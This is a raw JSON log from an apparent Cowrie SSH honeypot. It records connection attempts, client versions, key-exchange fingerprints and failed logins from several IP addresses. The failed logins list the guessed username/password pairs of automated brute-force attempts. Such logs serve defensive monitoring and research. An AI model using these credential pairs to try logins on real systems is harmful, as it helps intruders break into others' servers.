{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:25.288290Z","src_ip":"139.59.208.49","session":"a2c99e762ff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini","message":"login attempt [root/woaini] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:25.653802Z","src_ip":"139.59.208.49","session":"a2c99e762ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:26.741205Z","src_ip":"139.59.208.49","session":"a2c99e762ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:32.779301Z","src_ip":"8.218.166.49","session":"8c9226b00adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:35.139432Z","src_ip":"8.218.166.49","session":"58a223dff60c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.3","message":"Connection lost after 29.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:42.801327Z","src_ip":"8.218.166.49","session":"58a223dff60c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:43.779433Z","src_ip":"8.218.166.49","session":"8c9226b00adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"92.4","message":"Connection lost after 92.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:07:45.560732Z","src_ip":"8.218.166.49","session":"8c9226b00adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":36474,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fef42bf6a9c","protocol":"ssh","message":"New connection: 189.113.47.155:36474 (159.203.135.109:22) [session: 4fef42bf6a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:01.737908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:01.748518Z","src_ip":"189.113.47.155","session":"4fef42bf6a9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:01.865088Z","src_ip":"189.113.47.155","session":"4fef42bf6a9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mmj","message":"login attempt [root/mmj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:02.362853Z","src_ip":"189.113.47.155","session":"4fef42bf6a9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:02.967196Z","src_ip":"8.218.166.49","session":"5e3c2dc78fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:03.481249Z","src_ip":"189.113.47.155","session":"4fef42bf6a9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":52361,"dst_ip":"159.203.135.109","dst_port":22,"session":"219f493972f5","protocol":"ssh","message":"New connection: 88.147.30.59:52361 (159.203.135.109:22) [session: 219f493972f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:07.482480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:07.487437Z","src_ip":"88.147.30.59","session":"219f493972f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:07.608942Z","src_ip":"88.147.30.59","session":"219f493972f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!@#$","message":"login attempt [root/1234qwer!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:08.118463Z","src_ip":"88.147.30.59","session":"219f493972f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:09.243209Z","src_ip":"88.147.30.59","session":"219f493972f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":46776,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e49f9228ec","protocol":"ssh","message":"New connection: 124.155.125.131:46776 (159.203.135.109:22) [session: f1e49f9228ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:18.795716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:18.803653Z","src_ip":"124.155.125.131","session":"f1e49f9228ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:18.977993Z","src_ip":"124.155.125.131","session":"f1e49f9228ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pic","message":"login attempt [root/pic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:19.704103Z","src_ip":"124.155.125.131","session":"f1e49f9228ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":37676,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b78475d85b0","protocol":"ssh","message":"New connection: 190.167.237.191:37676 (159.203.135.109:22) [session: 2b78475d85b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:20.844536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:20.849171Z","src_ip":"190.167.237.191","session":"2b78475d85b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:20.880981Z","src_ip":"124.155.125.131","session":"f1e49f9228ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:20.909944Z","src_ip":"190.167.237.191","session":"2b78475d85b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A1A2A3A4A5","message":"login attempt [root/A1A2A3A4A5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:21.188463Z","src_ip":"190.167.237.191","session":"2b78475d85b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:22.252743Z","src_ip":"190.167.237.191","session":"2b78475d85b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":42532,"dst_ip":"159.203.135.109","dst_port":22,"session":"8315ebfddc2c","protocol":"ssh","message":"New connection: 139.59.208.49:42532 (159.203.135.109:22) [session: 8315ebfddc2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:29.755246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:29.763179Z","src_ip":"139.59.208.49","session":"8315ebfddc2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:29.853751Z","src_ip":"139.59.208.49","session":"8315ebfddc2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456987","message":"login attempt [root/123456987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:30.231442Z","src_ip":"139.59.208.49","session":"8315ebfddc2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:31.319636Z","src_ip":"139.59.208.49","session":"8315ebfddc2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec1cad3e4c6b","protocol":"ssh","message":"New connection: 8.218.166.49:50946 (10.17.0.5:22) [session: ec1cad3e4c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:37.404582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:37.408854Z","src_ip":"8.218.166.49","session":"ec1cad3e4c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:39.581129Z","src_ip":"8.218.166.49","session":"ec1cad3e4c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33692,"dst_ip":"10.17.0.5","dst_port":22,"session":"827e9105f056","protocol":"ssh","message":"New connection: 8.218.166.49:33692 (10.17.0.5:22) [session: 827e9105f056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:08:54.955324Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33702,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9cb2b612dc0","protocol":"ssh","message":"New connection: 8.218.166.49:33702 (10.17.0.5:22) [session: a9cb2b612dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:03.208763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:03.218449Z","src_ip":"8.218.166.49","session":"a9cb2b612dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41034,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad97ac31c346","protocol":"ssh","message":"New connection: 8.218.166.49:41034 (10.17.0.5:22) [session: ad97ac31c346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:09.229881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:09.233920Z","src_ip":"8.218.166.49","session":"ad97ac31c346","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.237.79.243","src_port":33324,"dst_ip":"10.17.0.5","dst_port":22,"session":"177e3c2571e1","protocol":"ssh","message":"New connection: 151.237.79.243:33324 (10.17.0.5:22) [session: 177e3c2571e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:14.765359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:14.770967Z","src_ip":"151.237.79.243","session":"177e3c2571e1","protocol":"ssh"}
